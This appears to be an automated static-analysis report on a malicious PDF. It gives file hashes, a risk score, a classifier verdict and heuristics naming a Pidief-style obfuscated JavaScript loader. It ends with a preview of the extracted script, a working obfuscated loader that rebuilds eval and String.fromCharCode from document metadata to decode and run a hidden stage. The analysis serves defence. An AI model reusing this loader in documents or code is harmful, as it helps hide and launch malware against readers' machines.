Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1129de8e06b3f48…

MALICIOUS

PDF

34.0 KB Authoring application: substr First seen: 2026-05-07
MD5: 079612e3d2a04ba957c113b0d4fd010c SHA-1: c3114bc5bfdd099eaa82741354392059548b03df SHA-256: b1129de8e06b3f48cf3f611d91496b8b5e25020d277f9de8d7a837bed9c04a83
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing the malicious payload, although its specific actions cannot be determined without further analysis of the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x8544 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);